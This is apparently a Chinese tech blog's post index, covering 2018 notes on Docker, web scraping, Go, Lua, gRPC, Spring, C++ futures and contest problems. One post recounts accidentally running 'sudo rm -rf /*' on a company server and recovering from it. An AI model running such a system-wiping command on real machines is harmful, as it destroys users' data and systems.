list","type":"post"},{"categories":["随笔杂谈"],"content":"TL;DR * 依靠人的小心谨慎是不靠谱的，人总有失误的时候 * 看了下docker volume的权限机制，貌似是从docker image中继承。 * 写了两个脚本，用来把rm alias到mv，避免手滑 又是一个可以摸鱼的周五晚上，sensespider系统测试了一天，fix了几个Bug,似乎可以发布了。系统一直是部署在了docker中..这几天测试产生了不少结果文件在host的volume中… 看着不舒服，干脆删一下好了 嗯？怎么所有者是root。。。那我sudo一下，也没什么大不了的嘛 然而手滑了… 打了个 sudo rm -rf /* … 提示无法删除/boot device is busy… 吓了一跳，下意识Ctrl-C… 从新在本地ssh到服务器，发现已经登不上去了…报错在找不到sh 看了一下，果然服务器的/bin 目录已经被删干净了… google了一些从rm中恢复文件的帖子… 试图用 sudo apt-get install 装一些工具包… 这个时候已经提示我找不到apt-get 了。。。 非常慌。花了3分钟思考了我到目前为止的一生 看了下scp命令还在，赶紧趁着这个终端回话还没关，把本地的/bin目录拷贝了上来。 试了下，ssh命令可以用了。 这样至少后续的修复（在不麻烦IT同事的情况下)不用跑机房了。有些镇定。 然后发现apt-get 命令还是用不了。。。思考了1分钟。。。 然后发现服务器用的是centos……. 再试了各种常用命令，试了docker相关的各种命令，都可以正常工作。 然而整个人都被吓傻了….睡了一觉才回过神。 又查了下docker volume权限的事情，发现挂载目录继承docker image中用户的权限是feature Volumes files have root owner when running docker with non-root user. 那似乎就没办法了。 以及写了两个脚本，来避免手滑，分别是zsh环境和bash环境下的。 kkrm","date":"2018-11-24","externalUrl":null,"permalink":"/2018/11/when-I-execute-sudo-rm-rf-on-the-company-server/","section":"Posts","summary":"TL;DR * 依靠人的小心谨慎是不靠谱的，人总有失误的时候 * 看了下docker volume的权限机制，貌似是从docker image中继承。 * 写了两个脚本，用来把rm alias到mv，避免手滑 又是一个可以摸鱼的周五晚上，sensespider系统测试了一天，fix了几个Bug,似乎可以发布了。系统一直是部署在了docker中..这几天测试产生了不少结果文件在host的volume中… 看着不舒服，干脆删一下好了","tags":["docker"],"title":"我在公司的服务器上执行了sudo rm -rf /*","type":"post"},{"categories":["工程"],"content":"起因: # 公司部署在hk的爬虫服务器突然挂掉了。后来发现只是在深圳办公区无法访问。排查后发现原因是docker的网络(包括docker network的subnet或者是某个容器的ip)与该host在内网的ip段相同，导致冲突。 排查过程： # 有两个方面需要排查。一个是docker服务启动时的默认网络。 默认网络使用bridge桥接模式，是容器与宿主机进行通讯的默认办法。 修改默认网段可以参考 http://blog.51cto.com/wsxxsl/2060761 除此之外，还需要注意docker创建的network的网段。 使用docker network ls 命令查看当前的网络 然后可以使用docker inspect 查看每个network的详细信息。 也可以直接使用ip addr 来查看各种奇怪的虚拟网卡的ip,是否有前两位的地址和host的ip地址相同的。 解决办法: # 本想在docker-compose up 时指定默认网络的subnet 结果发现好像并不支持？version 1.10.0 error on gateway spec Was there any discussion on that? I do need to customize the network, because my company uses the 172.16.0.0/16 address range at some segments and Docker will simply clash with that by default, so every single Docker server in the whole company needs a forced network setting. Now while upgrading my dev environment to Docker 1.13 it took me hours to stumble into this Github issue, because the removal of those options was completely undocumented. So please, if I am working on a network which requires a custom docker subnet, how am I supposed to use Docker Compose and Docker Swarm? 最后用了个比较间接的办法。 先手动创建一个docker network，然后再在docker-compose的配置文件中指定。 docker network create --subnet=172.25.0.0/16 spider-network version: '3.6' services: django: image: \"registry.sensetime.com/spider/sensespider:v1.0\" volumes: - spiderdata:/data privileged: true networks: - spider-network ports: - \"8080:8080\" working_dir: /home/renkuanze/workspace/sensespider entrypoint: bash run.sh tty: true container_name: django splash: image: \"scrapinghub/splash\" container_name: splash network_mode: \"service:django\" react: image: \"registry.sensetime.com/spider/sensespider-react:v1.0\" working_dir: /home/node/sensespider-react entrypoint: npm start container_name: node network_mode: \"service:django\" volumes: spiderdata: driver: local-persi","date":"2018-11-20","externalUrl":null,"permalink":"/2018/11/docker-network-conflict-with-local-subnetwork/","section":"Posts","summary":"起因: # 公司部署在hk的爬虫服务器突然挂掉了。后来发现只是在深圳办公区无法访问。排查后发现原因是docker的网络(包括docker network的subnet或者是某个容器的ip)与该host在内网的ip段相同，导致冲突。","tags":["docker","network"],"title":"docker network 与 本地 network 网段冲突","type":"post"},{"categories":["工程"],"content":"现象: # 使用docker compose 挂载 named volume 无效（且没有错误提示) 排查过程: # 一开始是没有使用docker-compose命令，直接使用docker run -v 命令，挂载两个绝对路径，没有问题。 然后使用named volume，在这里使用了local-persist 插件，来指定数据卷(volume)在host上的位置。直接用docker run -v 命令，依然没有问题。 接下里打算放到docker compose里面，发现并没有挂载成功。 但是在docker compose里面，挂载两个绝对路径是ok的。 于是怀疑是volume的问题 此时使用docker inspect 查看 用docker compose 启动起来的，挂载named volume的容器 发现mount里面，挂载的named volume并不是我在docker-compose.yml填写的名称，而是多了一个前缀，这个前缀恰好是docker-compose.yml 文件所在的目录名称。 查了一下，发现果然不止我一个人被坑到orz Docker-compose prepends directory name to named volumes 其实应该直接使用docker inspect来排查的…应该会更快找到问题 解决办法： # 有几种解决办法： * 不手动创建volume，而是在docker-compose.yml中，设置volume的mountpoint * 在docker-compose.yml中，添加external: true的选项到 volume中，参考[external](https://docs.docker.com/compose/compose-file/#external) 顺便附上我的docker-compose.yml文件 version: '3' services: django: image: \"registry.sensetime.com/spider/sensespider:v1.0\" volumes: - spiderdata:/data privileged: true ports: - \"8000:8000\" working_dir: /home/renkuanze/workspace/sensespider entrypoint: bash run.sh tty: true container_name: django splash: image: \"scrapinghub/splash\" container_name: splash network_mode: \"service:django\" volumes: spiderdata: driver: local-persist driver_opts: mountpoint: /data/spider_data","date":"2018-11-14","externalUrl":null,"permalink":"/2018/11/docker-compose-default-volume-name-makes-me-confused/","section":"Posts","summary":"现象: # 使用docker compose 挂载 named volume 无效（且没有错误提示)","tags":["docker"],"title":"记一次在 docker compose 中使用volume的踩坑记录","type":"post"},{"categories":["其他"],"content":"在meidum上看到一篇很赞的文章…无奈关键部分一律无法加载出来…挂了梯子也不行，很心塞…刚刚突然发现加载出来了…以防之后再次无法访问，所以搬运过来． There are couple of articles on how to integrate Scrapy into a Django Application (or vice versa?). But most of them don’t cover a full complete example that includes triggering spiders from Django views. Since this is a web application, that must be our main goal. What do we need ? # Before we start, it is better to specify what we want and how we want it. Check this diagram: It shows how our app should work * Client sends a request with a URL to crawl it. (1) * Django triggets scrapy to run a spider to crawl that URL. (2) * Django returns a response to tell Client that crawling just started. (3) * scrapy completes crawling and saves extracted data into database. (4) * django fetches that data from database and return it to Client. (5) Looks great and simple so far. A note on that 5th statement # Django fetches that data from database and return it to Client. (5) Neither Django nor client don’t know when Scrapy completes crawling. There is a callback method named pipeline_closed, but it belongs to Scrapy project. We can’t return a response from Scrapy pipelines. We use that method only to save extracted data into database. Well eventually, in somewhere, we have to tell the client : Hey! Crawling completed and i am sending you crawled data here. There are two possible ways of this (Please comment if you discover more): We can either use web sockets to inform client when crawling completed. Or, We can start sending requests on every 2 seconds (more? or less ?) from client to check crawling status after we get the \"crawling started\" response. Web Socket solution sounds more stable and robust. But it requires a second service running separately and means more configuration. I will skip this option ","date":"2018-11-06","externalUrl":null,"permalink":"/2018/11/how-to-use-scrapy-with-django-application/","section":"Posts","summary":"在meidum上看到一篇很赞的文章…无奈关键部分一律无法加载出来…挂了梯子也不行，很心塞…刚刚突然发现加载出来了…以防之后再次无法访问，所以搬运过来．","tags":["react","爬虫"],"title":"How to use Scrapy with Django Application（转自medium）","type":"post"},{"categories":["其他"],"content":"lua是一门轻量级的脚本语言…好像比较适合写游戏？在 太阳神三国杀 中见过很多lua脚本。 由于splash 的渲染脚本需要用lua来写，因此来学习一波。 直接上语法…看到了python和pascal的影子orz 1-- Two dashes start a one-line comment. 2 3--[[ 4 Adding two ['s and ]'s makes it a 5 multi-line comment. 6--]] 7 8---------------------------------------------------- 9-- 1. Variables and flow control. 10---------------------------------------------------- 11 12num = 42 -- All numbers are doubles. 13-- Don't freak out, 64-bit doubles have 52 bits for 14-- storing exact int values; machine precision is 15-- not a problem for ints that need \u003c 52 bits. 16 17s = 'walternate' -- Immutable strings like Python. 18t = \"double-quotes are also fine\" 19u = [[ Double brackets 20 start and end 21 multi-line strings.]] 22t = nil -- Undefines t; Lua has garbage collection. 23 24-- Blocks are denoted with keywords like do/end: 25while num \u003c 50 do 26 num = num + 1 -- No ++ or += type operators. 27end 28 29-- If clauses: 30if num \u003e 40 then 31 print('over 40') 32elseif s ~= 'walternate' then -- ~= is not equals. 33 -- Equality check is == like Python; ok for strs. 34 io.write('not over 40\\n') -- Defaults to stdout. 35else 36 -- Variables are global by default. 37 thisIsGlobal = 5 -- Camel case is common. 38 39 -- How to make a variable local: 40 local line = io.read() -- Reads next stdin line. 41 42 -- String concatenation uses the .. operator: 43 print('Winter is coming, ' .. line) 44end 45 46-- Undefined variables return nil. 47-- This is not an error: 48foo = anUnknownVariable -- Now foo = nil. 49 50aBoolValue = false 51 52-- Only nil and false are falsy; 0 and '' are true! 53if not aBoolValue then print('twas false') end 54 55-- 'or' and 'and' are short-circuited. 56-- This is similar to the a?b:c operator in C/js: 57ans = aBoolValue and 'yes' or 'no' --\u003e 'no' 58 59karlSum = 0 ","date":"2018-10-26","externalUrl":null,"permalink":"/2018/10/lua-notes/","section":"Posts","summary":"lua是一门轻量级的脚本语言…好像比较适合写游戏？在 太阳神三国杀 中见过很多lua脚本。 由于splash 的渲染脚本需要用lua来写，因此来学习一波。","tags":["lua"],"title":"lua学习笔记","type":"post"},{"categories":["其他"],"content":"先放资料,可能比较侧重于go在系统调用方面的内容. 这里不会记录详细的go的语法,只会记录学习的过程,踩到的坑,以及其他我认为值得记录的内容. go的switch语句终于是人类思维的语句了…匹配中了不需要加break.. defer关键字可以延迟语句到上层函数退出时再执行,而且是会把延迟的语句压入栈,然后按照FILO的顺序执行…好像有点有意思? 参数列表..如果有多个变量的类型相同,只写一个类型关键字就行… :=并不是pascal中的赋值符号(浪费感情…,而是简洁定义变量的语法,不能使用在函数以外. 感觉go中同时有一点C++和很多python的影子… 30分钟上手GO语言–基础语法 A Go Programmer’s Guide to Syscalls 视频笔记：Go 和 syscall - Liz Rice","date":"2018-10-20","externalUrl":null,"permalink":"/2018/10/golang-notes/","section":"Posts","summary":"先放资料,可能比较侧重于go在系统调用方面的内容. 这里不会记录详细的go的语法,只会记录学习的过程,踩到的坑,以及其他我认为值得记录的内容.","tags":["golang","系统调用"],"title":"golang 学习笔记","type":"post"},{"categories":["其他"],"content":"再次迫于生计。。。 参考了面向新人的 Python 爬虫学习资料 大致的学习路线为: 一： 简单的定向脚本爬虫（ request — bs4 — re ） 二： 大型框架式爬虫（ Scrapy 框架为主） 三：浏览器模拟爬虫 （ Mechanize 模拟 和 Selenium 模拟） 有Python基础和一点html基础的话。。。貌似上手是0难度的 年轻人的第一个爬虫(虽然代码是直接copy的… 1''' 2抓取百度贴吧---生活大爆炸吧的基本内容 3爬虫线路： requests - bs4 4Python版本： 3.6 5OS： mac os 12.12.4 6''' 7 8import requests 9import time 10from bs4 import BeautifulSoup 11 12# 首先我们写好抓取网页的函数 13 14 15def get_html(url): 16 try: 17 r = requests.get(url, timeout=30) 18 r.raise_for_status() 19 # 这里我们知道百度贴吧的编码是utf-8，所以手动设置的。爬去其他的页面时建议使用： 20 # r.endcodding = r.apparent_endconding 21 r.encoding = 'utf-8' 22 return r.text 23 except: 24 return \" ERROR \" 25 26 27def get_content(url): 28 ''' 29 分析贴吧的网页文件，整理信息，保存在列表变量中 30 ''' 31 32 # 初始化一个列表来保存所有的帖子信息： 33 comments = [] 34 # 首先，我们把需要爬取信息的网页下载到本地 35 html = get_html(url) 36 37 # 我们来做一锅汤 38 soup = BeautifulSoup(html, 'lxml') 39 40 # 按照之前的分析，我们找到所有具有‘ j_thread_list clearfix’属性的li标签。返回一个列表类型。 41 liTags = soup.find_all('li', attrs={'class': ' j_thread_list clearfix'}) 42 43 # 通过循环找到每个帖子里的我们需要的信息： 44 for li in liTags: 45 # 初始化一个字典来存储文章信息 46 comment = {} 47 # 这里使用一个try except 防止爬虫找不到信息从而停止运行 48 try: 49 # 开始筛选信息，并保存到字典中 50 comment['title'] = li.find( 51 'a', attrs={'class': 'j_th_tit '}).text.strip() 52 comment['link'] = \"http://tieba.baidu.com/\" + \\ 53 li.find('a', attrs={'class': 'j_th_tit '})['href'] 54 comment['name'] = li.find( 55 'span', attrs={'class': 'tb_icon_author '}).text.strip() 56 comment['time'] = li.find( 57 'span', attrs={'class': 'pull-right is_show_create_time'}).text.strip() 58 comment['replyNum'] = li.find( 59 'span', attrs={'class': 'threadlist_rep_num center_text'}).text.strip() 60 comments.append(comment) 61 except: 62 print('出了点小问题') 63 64 return comments 65 66 67def Out2File(dict): 68 ''' 69 将爬取到的文件写入到本地 70 保存到当前目录的 TTBT.txt文件中。 71 72 ''","date":"2018-10-19","externalUrl":null,"permalink":"/2018/10/web-crawler-notes/","section":"Posts","summary":"再次迫于生计。。。 参考了面向新人的 Python 爬虫学习资料 大致的学习路线为: 一： 简单的定向脚本爬虫（ request — bs4 — re ）","tags":["python","爬虫"],"title":"爬虫学习笔记","type":"post"},{"categories":["工程"],"content":"最近的项目需要java和python之间的进程通信，想到了之前使用过的的grpc. 参考官方quickstart JDK: version 7 or higher 看起来只依赖jdk,美滋滋 然后按照文档执行 ./gradlew installDist 报错: 1Task :grpc-compiler:compileJava_pluginExecutableJava_pluginCpp FAILED 2 3FAILURE: Build failed with an exception. 4 5* What went wrong: 6Execution failed for task ':grpc-compiler:compileJava_pluginExecutableJava_pluginCpp'. 7\u003e No tool chain is available to build for platform 'x86_64': 8 - Tool chain 'visualCpp' (Visual Studio): Visual Studio is not available on this operating system. 9 - Tool chain 'gcc' (GNU GCC): Could not determine GCC metadata: could not find vendor in output of /usr/local/gcc-4.9.4/bin/gcc. 10 - Tool chain 'clang' (Clang): Could not find C compiler 'clang' in system path. 11 12* Try: 13Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights. 14 15* Get more help at https://help.gradle.org 16 17BUILD FAILED in 3m 47s 18 19~ 看起来是gcc或者clang的问题… 先装个clang再说，可能clang太常用了，所以文档没有提到，这下一定可以了。 然而又报错: 1\u003e Task :grpc-compiler:linkJava_pluginExecutable FAILED 2/usr/bin/ld: cannot find -lstdc++ 3clang: error: linker command failed with exit code 1 (use -v to see invocation) 4 5 6 7 8FAILURE: Build failed with an exception. 9 10 11* What went wrong: 12Execution failed for task ':grpc-compiler:linkJava_pluginExecutable'. 13\u003e A build operation failed. 14 Linker failed while linking protoc-gen-grpc-java. 15 See the complete log at: file:///home/renkuanze/github/grpc-java/compiler/build/tmp/linkJava_pluginExecutable/output.txt 16 17 18* Try: 19Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights. 20 21 22* Get more help at https://help.gradle.org 23~ 24~ 25","date":"2018-10-17","externalUrl":null,"permalink":"/2018/10/java-grpc-notes/","section":"Posts","summary":"最近的项目需要java和python之间的进程通信，想到了之前使用过的的grpc.","tags":["gRPC","java"],"title":"java-grpc 踩坑记录","type":"post"},{"categories":[],"content":"迫于最近的事情有点多，还是记录一下。 果然to do list什么的，还是要按照年份记录啊。 * \u003cdel\u003e了解linux strace命令\u003c/del\u003e * 速成go语言，并了解go于系统调用https://hackernoon.com/strace-in-60-lines-of-go-b4b76e3ecd64 * 熟悉hustoj V2版本目前的代码 * \u003cdel\u003e看完\u003ccode in practice\u003e\u003c/del\u003e * mit 6.828 lab1。。。感觉要咕 * 看完\u003cunix 系统系统手册\u003e的20，21章信号部分, 为hustoj的重构补充基础知识.","date":"2018-10-14","externalUrl":null,"permalink":"/2018/10/2018-to-do-list/","section":"Posts","summary":"迫于最近的事情有点多，还是记录一下。 果然to do list什么的，还是要按照年份记录啊。","tags":["随笔杂谈","todo"],"title":"2018 to do list","type":"post"},{"categories":["工程"],"content":"迫于生计，又要从零开始学习spring. 在这篇文章之前，对java的基础是2015年写过一个java大作业，对spring是一无所知。 为了学习spring，我按顺序做了以下事情: * 学习了一下java语法，教程关键词是\"java tutorial for cpp programmers\",比如[Learning a New Programming Language: Java for C++ Programmers ](http://pages.cs.wisc.edu/~hasti/cs368/JavaTutorial/) * 对spring有个大体的了解。视频教程要比官方文档或者博客迅速得多。推荐java brains的 [spring boot quick start](https://javabrains.io/courses/spring_bootquickstart/) ,一天时间就基本可以了解个大概。 * 简单看了下java brains的另一门课程 [spring_core](https://javabrains.io/courses/spring_core/)，主要是为了了解spring中一些常见概念，比如bean,依赖注入，以及常用注解。 * 然后了解了下spring与数据库的连接，这里有一个比官网更详细的教程[Spring Boot, MySQL, JPA, Hibernate Restful CRUD API Tutorial](https://www.callicoder.com/spring-boot-rest-api-tutorial-with-mysql-jpa-hibernate/) ，代码整理在[github](https://github.com/111qqz/Spring-Boot-mysql-sample) ,这个时候感受到了代码直接操作数据库（而不用写sql语句)的美妙。","date":"2018-10-10","externalUrl":null,"permalink":"/2018/10/spring-notes/","section":"Posts","summary":"迫于生计，又要从零开始学习spring. 在这篇文章之前，对java的基础是2015年写过一个java大作业，对spring是一无所知。","tags":["spring","java"],"title":"spring 学习笔记","type":"post"},{"categories":["工程"],"content":"真是个不明觉厉的术语…其实是个特别简单的概念orz 用白话讲，如果一个class A中用到了class B的实例，那么class B的实例就是class A的依赖，如果不是在class A中定义class B的实例，而是通过某个接口，将class B的实例传入classA,就叫依赖注入。 1public class Example { 2 // private DatabaseThingie myDatabase; 3 4 // public Example() { 5 // myDatabase = new DatabaseThingie(); 6 // } 7 8 public Example(DatabaseThingie useThisDatabaseInstead) { 9 myDatabase = useThisDatabaseInstead; 10 } 11 12 public void DoStuff() { 13 ... 14 myDatabase.GetData(); 15 ... 16 } 17} 依赖注入（DI）和控制反转（IOC）基本是一个意思，因为说起来谁都离不开谁。 简单来说，a依赖b，但a不控制b的创建和销毁，仅使用b，那么b的控制权交给a之外处理，这叫控制反转（IOC），而a要依赖b，必然要使用b的instance，那么 通过a的接口，把b传入； 通过a的构造，把b传入； 通过设置a的属性，把b传入； 这个过程叫依赖注入（DI）。 那么什么是IOC Container？ 随着DI的频繁使用，要实现IOC，会有很多重复代码，甚至随着技术的发展，有更多新的实现方法和方案，那么有人就把这些实现IOC的代码打包成组件或框架，来避免人们重复造轮子。 所以实现IOC的组件或者框架，我们可以叫它IOC Container。 作者：phoenix 链接：https://www.zhihu.com/question/32108444/answer/220819349 来源：知乎 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 参考资料: Dependency Injection Demystified What is dependency injection?","date":"2018-10-09","externalUrl":null,"permalink":"/2018/10/spring-dependency-injection/","section":"Posts","summary":"真是个不明觉厉的术语…其实是个特别简单的概念orz","tags":["依赖注入","java","spring"],"title":"spring 依赖注入","type":"post"},{"categories":["ACM"],"content":"题目链接:http://codeforces.com/contest/1015/problem/B 题意: 给出字符串s和字符串t，问一个将s变为t的策略。 可以做的变换为，交换s中相邻的字符串，该操作最多不能超过4000次，字符串长度最大为50. 思路: 首先可以确定，当两个字符串的组成相同时（也就是有同样的字符组成，只是位置可能有所不同)一定有解。 考虑最坏情况，每个字符都要交换到最远的地方，总的操作数\u003c50*50\u003c4000,因此一定有解。 判断组成是否相同可以用multiset 1/* *********************************************** 2Author :111qqz 3mail: renkuanze@sensetime.com 4Created Time :2018年10月03日 星期三 16时11分29秒 5File Name :b.cpp 6************************************************ */ 7#include \u003cbits/stdc++.h\u003e 8#define ms(a,x) memset(a,x,sizeof(a)) 9typedef long long LL; 10#define pi pair \u003c int ,int \u003e 11#define MP make_pair 12using namespace std; 13const double eps = 1E-8; 14const int dx4[4]={1,0,0,-1}; 15const int dy4[4]={0,-1,1,0}; 16const int inf = 0x3f3f3f3f; 17int n; 18string s,t; 19multiset\u003cchar\u003eA,B; 20int main() 21{ 22 #ifndef ONLINE_JUDGE 23 freopen(\"./in.txt\",\"r\",stdin); 24 #endif 25 cin\u003e\u003en; 26 cin\u003e\u003es\u003e\u003et; 27 for ( auto x : s) A.insert(x); 28 for (auto x: t) B.insert(x); 29 if (A!=B) 30 { 31 puts(\"-1\"); 32 return 0; 33 } 34 vector\u003cint\u003eans; 35 //可以保证处理过的一定相等 36 for ( int i = 0 ; i \u003c n ; i++) 37 { 38 if (s[i]==t[i]) continue; 39 string sub_str = s.substr(i,50); 40 // cout\u003c\u003c\"sub_str:\"\u003c\u003csub_str\u003c\u003cendl; 41 int pos = sub_str.find(t[i])+i; 42 // cout\u003c\u003c\"pos:\"\u003c\u003cpos\u003c\u003cendl; 43 for ( int j = pos; j \u003e= i+1 ; j-- ) 44 { 45 ans.push_back(j); 46 swap(s[j-1],s[j]); 47 // cout\u003c\u003cs\u003c\u003cendl; 48 } 49 } 50 cout\u003c\u003cans.size()\u003c\u003cendl; 51 for ( auto x : ans) cout\u003c\u003cx\u003c\u003c\" \"; 52 53 #ifndef ONLINE_JUDGE 54 fclose(stdin); 55 #endif 56 return 0; 57}","date":"2018-10-03","externalUrl":null,"permalink":"/2018/10/codeforces-501-b-obtaining-the-string/","section":"Posts","summary":"题目链接:http://codeforces.com/contest/1015/problem/B","tags":["算法竞赛"],"title":"codeforces 501 B. Obtaining the String","type":"post"},{"categories":["ACM"],"content":"题目链接 题意:有n个数，现在要分成2个集合，使得2个集合中，仅出现1次的数的个数相同，问是否有解，以及具体的分法。 思路: 一开始考虑出现多个的数的思路麻烦了，比如对于出现2次的某个数x，与其一个集合中分得一个，使得两个结合中，仅出现1次的数的个数各+1，还不如都放在同一个集合中，使得仅出现1次的数的个数不增加。 因此思路是这样的: 先考虑出现1次的数的个数，如果为偶数，那么均分，然后把其他出现多次的数全都放在第一个集合； 如果出现1次的数的个数为奇数，我们还是尽可能均分，然后不妨假设第一个集合中的只出现1次的数的个数比第二个集合中多1个。 我们现在需要让第二个集合中，仅出现一次的数增加一个。 什么样的数可以满足这个条件呢？ 出现2次的数是不行的，因为这会使得两个集合中的数字各自+1 因此需要至少有一个出现3次或者以上的数。 具体见代码: 1/* *********************************************** 2Author :111qqz 3mail: renkuanze@sensetime.com 4Created Time :2018年10月02日 星期二 15时28分39秒 5File Name :c.cpp 6************************************************ */ 7#include \u003cbits/stdc++.h\u003e 8#define ms(a,x) memset(a,x,sizeof(a)) 9typedef long long LL; 10#define pi pair \u003c int ,int \u003e 11#define MP make_pair 12using namespace std; 13const double eps = 1E-8; 14const int dx4[4]={1,0,0,-1}; 15const int dy4[4]={0,-1,1,0}; 16const int inf = 0x3f3f3f3f; 17const int N=105; 18int n; 19int cnt[N]; 20int a[N]; 21string ans=\"\"; 22int main() 23{ 24 #ifndef ONLINE_JUDGE 25 // freopen(\"./in.txt\",\"r\",stdin); 26 #endif 27 cin\u003e\u003en; 28 ms(cnt,0); 29 for ( int i = 1; i \u003c= n ; i++) 30 { 31 cin\u003e\u003ea[i]; 32 cnt[a[i]]++; 33 } 34 int cnt_1 = 0; 35 for ( int i = 1 ; i \u003c= 100 ; i++) 36 { 37 if (cnt[i]==1) cnt_1++; 38 } 39 int cur_1 = 0 ; 40 for ( int i = 1 ;i \u003c= n ; i++) 41 { 42 if (cnt[a[i]]\u003e=2) 43 { 44 ans+='A'; 45 } 46 if (cnt[a[i]]==1) 47 { 48 cur_1++; 49 if (cur_1\u003c=(cnt_1+1)/2) 50 { 51 ans+='A'; 52 } 53 else 54 { 55 ans+='B'; 56 } 57 } 58 } 59 60 if (cnt_1%2==0) 61 { 62 puts(\"YES\"); 63 cout\u003c\u003cans\u003c\u003cendl; 64 } 65 else 66 { 67 bool triple = false; 68 for ( int i = 1; i \u003c= n ; i++) 69 { 70 if (cnt[a[i]]\u003e=3\u0026\u0026!triple) 71 { 72 triple = true; 73 ans[i-1] = 'B'; 74 } 75 } 76 if (triple) 77 { 78 puts(\"YES\"); 79 cout\u003c\u003cans\u003c\u003cendl; 80 } 81 else 82 { 83 puts(\"NO\"); 84 } 85 } 86 87 88 89 90 91 #ifnd","date":"2018-10-02","externalUrl":null,"permalink":"/2018/10/codeforces-edu-51-c/","section":"Posts","summary":"题目链接 题意:有n个数，现在要分成2个集合，使得2个集合中，仅出现1次的数的个数相同，问是否有解，以及具体的分法。","tags":["思维题"],"title":"codeforces edu #51 C. Vasya and Multisets (思维题)","type":"post"},{"categories":["其他"],"content":"系统为ubuntu 14.04 迫于特别想定时换壁纸，查了下解决方案。 发现只要删除掉/usr目录下所有的’.pyc’文件就可以 命令为:sudo find /usr -name ‘*.pyc’ -delete","date":"2018-09-30","externalUrl":null,"permalink":"/2018/09/the-way-to-fix-variety-crash-on-ubuntu-14-04/","section":"Posts","summary":"系统为ubuntu 14.04 迫于特别想定时换壁纸，查了下解决方案。 发现只要删除掉/usr目录下所有的’.pyc’文件就可以","tags":["linux","variety"],"title":"解决ubuntu 14.04 下 壁纸软件 variety 崩溃 ValueError: bad marshal data (unknown type code) 的问题","type":"post"},{"categories":["工程"],"content":"把std::async,std::packaged_task,std::promise三个放在一起来说,是因为他们都可以返回一个std::future对象.简单来说,当某个线程需要等待一个特定的一次性事件(one-off event),它可以用一个\"future\"来表示这个事件. std::async # 有的时候可能你需要做一个花费事件比较长的计算,但是计算结果不是立刻需要.这个时候就可以用一个新的线程来做这个计算.这里比较关键的问题是如何将在新线程进行计算的结果传回到当前线程,因为std::thread并没有提供一个类似的机制. 这个时候就需要std::async登场了. 1 2 #include \u003cfuture\u003e 3 #include \u003ciostream\u003e 4 int find_the_answer_to_ltuae(); 5 void do_other_stuff(); 6 int main() 7 { 8 std::future\u003cint\u003e the_answer=std::async(find_the_answer_to_ltuae); 9 do_other_stuff(); 10 std::cout\u003c\u003c\"The answer is \"\u003c\u003cthe_answer.get()\u003c\u003cstd::endl; 11 } 当然也可以与向std::thread包装的thread function中传参数一样,向std::async中传参数,如下: 1 2 #include \u003cstring\u003e 3 #include \u003cfuture\u003e 4 struct X 5 { 6 void foo(int,std::string const\u0026); 7 std::string bar(std::string const\u0026); 8 }; 9 X x; 10 auto f1=std::async(\u0026X::foo,\u0026x,42,\"hello\"); // 调用p-\u003efoo(42, \"hello\")，p是指向x的指针 11 auto f2=std::async(\u0026X::bar,x,\"goodbye\"); // 调用tmpx.bar(\"goodbye\")， tmpx是x的拷贝副本 12 struct Y 13 { 14 double operator()(double); 15 }; 16 Y y; 17 auto f3=std::async(Y(),3.141); // 调用tmpy(3.141)，tmpy通过Y的移动构造函数得到 18 auto f4=std::async(std::ref(y),2.718); // 调用y(2.718) 19 X baz(X\u0026); 20 std::async(baz,std::ref(x)); // 调用baz(x) 21 class move_only 22 { 23 public: 24 move_only(); 25 move_only(move_only\u0026\u0026) 26 move_only(move_only const\u0026) = delete; 27 move_only\u0026 operator=(move_only\u0026\u0026); 28 move_only\u0026 operator=(move_only const\u0026) = delete; 29 30 void operator()(); 31 }; 32 auto f5=std::async(move_only()); // 调用tmp()，tmp是通过std::move(move_only())构造得到 此外,std:;async还有一个可选参数,值为std::launch::deferred或std::launch:async或std::launch::deferred|std::launch:async,第三种为默认参数. std::launch::async表示该task会立即在一个新的thread上执行. std::launch::deferred 表示该task不会被立刻执行,而是在调用get()或者wait()的时候才会执行.这里需要注意的是,调用get()或者wait()的线程,可以是和调用async()属于同一个线程,也可以属于不同线程. 笼统来说,std::launch:defer","date":"2018-09-30","externalUrl":null,"permalink":"/2018/09/c11-async-packaged-ask-promise-future-notes/","section":"Posts","summary":"把std::async,std::packaged_task,std::promise三个放在一起来说,是因为他们都可以返回一个std::future对象.简单来说,当某个线程需要等待一个特定的一次性事件(one-off event),它可以用一个\"future\"来表示这个事件.","tags":["async","cpp","modern cpp","future","packaged_task","promise"],"title":"[c++11] std::async std::packaged_task std::promise and std::future notes","type":"post"},{"categories":["工程"],"content":"condition_variable 类是同步原语，能用于阻塞一个线程，或同时阻塞多个线程，直至另一线程修改共享变量（条件）并通知 condition_variable 。 用人话来说,condition_variable，也就是条件变量，是线程间通信的一种方式。 线程之间在很多时候需要通信，比如经典的生产者消费者问题 一个比较naive的方案是，用mutex来保护一个flag,然后另一线程不停得check这个flag的状态是否改变。以及在这个方案上的改进:让另一个线程check之后，可以先睡一段时间。 但是这两种方法都不够好。第一种不好的原因当然是不停得check，肯定会耗费大量的资源。而第二种，由于没办法准确估计要休眠的时间，因此不够实际。 这个时候我们可以考虑使用条件变量。 条件变量是可以用在如下场景: 一个或者多个线程在等某个条件的成立，而这个条件由另外的线程所控制。当该条件成立时，控制该条件的线程会主动通知这些线程，将这些线程唤醒。 如下是一个最简单的例子: 1 std::mutex mut; 2 std::queue\u003cdata_chunk\u003e data_queue; // 1 3 std::condition_variable data_cond; 4 5 void data_preparation_thread() 6 { 7 while(more_data_to_prepare()) 8 { 9 data_chunk const data=prepare_data(); 10 std::lock_guard\u003cstd::mutex\u003e lk(mut); 11 data_queue.push(data); // 2 12 data_cond.notify_one(); // 3 13 } 14 } 15 16 void data_processing_thread() 17 { 18 while(true) 19 { 20 std::unique_lock\u003cstd::mutex\u003e lk(mut); // 4 21 data_cond.wait( 22 lk,[]{return !data_queue.empty();}); // 5 23 data_chunk data=data_queue.front(); 24 data_queue.pop(); 25 lk.unlock(); // 6 26 process(data); 27 if(is_last_chunk(data)) 28 break; 29 } 30 } 接下来是一个较为复杂的例子，一个线程安全的队列的实现, 1 #include \u003cqueue\u003e 2 #include \u003cmemory\u003e 3 #include \u003cmutex\u003e 4 #include \u003ccondition_variable\u003e 5 6 template\u003ctypename T\u003e 7 class threadsafe_queue 8 { 9 private: 10 mutable std::mutex mut; // 1 互斥量必须是可变的 11 std::queue\u003cT\u003e data_queue; 12 std::condition_variable data_cond; 13 public: 14 threadsafe_queue() 15 {} 16 